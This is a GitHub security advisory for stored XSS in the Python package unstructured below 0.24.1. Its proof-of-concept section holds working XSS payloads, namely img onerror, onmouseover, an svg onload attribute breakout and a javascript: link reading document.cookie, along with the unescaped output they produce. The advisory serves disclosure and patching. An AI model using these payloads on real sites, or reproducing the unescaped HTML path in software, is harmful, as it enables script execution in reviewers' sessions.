GHSA-v5mq-3xhg-98m9
unstructured: Stored XSS via unescaped HTML generation
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| PyPI | unstructured | < 0.24.1 | 0.24.1 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
When `unstructured` parses an untrusted document and outputs the result as HTML, malicious markup contained in the document (e.g. `<img src=x onerror=...>`) is left in the output HTML without escaping. When that output is displayed in a browser, the script embedded in the document executes in the viewer's browser.
### Details
`partition_html(html_parser_version="v2")` (and the VLM partitioner) preserve the input document's element tags, attributes, and text into `metadata.text_as_html`, and `elements_to_html()` outputs that as an HTML document.
The function that builds HTML on this path, `to_html()` in `unstructured/documents/ontology.py`, performs no escaping at all. As a result, event handlers such as `onerror` / `onmouseover` / `onload` originating from the input document are left in the output HTML as-is (literal `<script>` tags are stripped by the parser, but attribute-based vectors and `javascript:` URLs are not). In addition, link URLs are not scheme-filtered, so `<a href="javascript:...">` is also emitted.
Relevant source: `documents/ontology.py` (`to_html`, `_construct_attribute_string`, `_generate_final_html`); `partition/html/transformations.py` (`text_as_html = ontology_element.to_html()`); `partition/html/convert.py` (`elements_to_html`).
### PoC
Environment: `downloads.unstructured.io/unstructured-io/unstructured:latest`, `unstructured` 0.23.3.
```python
from unstructured.partition.html import partition_html
from unstructured.partition.html.convert import elements_to_html
malicious = ('<body class="Document">'
'<p class="Paragraph" onmouseover="alert(1)">hello'
'<img src=x onerror="alert(document.domain)"></p>'
'<a class="Hyperlink" href="javascript:alert(document.cookie)">click me</a>'
'</body>')
els = partition_html(text=malicious, html_parser_version="v2")
open("xss_output.html", "w").write(elements_to_html(list(els), no_group_by_page=True))
```
`elements_to_html()` output body — the unescaped vectors survive:
```html
<p class="NarrativeText" id="..." onmouseover="alert(1)">
<p class="Paragraph">hello</p>
<img class="Image" onerror="alert(document.domain)" src="x"/>
</p>
<a class="UncategorizedText" href="javascript:alert(document.cookie)" id="...">click me</a>
```
Opening `xss_output.html` in a browser fires `alert` automatically (via `<img onerror>`), with no interaction. Per-vector confirmation (each payload labelled, each verified in a browser):
| Vector | Trigger | Cause |
|---|---|---|
| `<img onerror>` | open file (auto) | element `text` not escaped |
| `<svg onload>` (via `title='"><svg ...>'`) | open file (auto) | attribute value not escaped (`"` breakout) |
| `<a href=javascript:>` | click | link URL scheme not filtered |
| `onmouseover` | hover | source attribute preserved as-is |
### Impact
Stored XSS caused by improper output encoding. Anyone who renders the HTML or `text_as_html` generated from an untrusted document is affected. In an ingestion pipeline where uploaded documents are parsed and a staff member reviews their contents in a web UI, a low-privileged or external submitter can inject malicious HTML; when a privileged reviewer later opens the parsed result, `<img onerror>` fires in their session with no interaction, leading to cross-record information disclosure and privileged actions.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/Unstructured-IO/unstructured/security/advisories/GHSA-v5mq-3xhg-98m9
- https://nvd.nist.gov/vuln/detail/CVE-2026-104250
- https://github.com/Unstructured-IO/unstructured/pull/4394
- https://github.com/Unstructured-IO/unstructured/commit/cda16b3f2170019be9c6ea5635946fb3eaa2d66f
- https://github.com/Unstructured-IO/unstructured
- https://github.com/Unstructured-IO/unstructured/releases/tag/0.24.1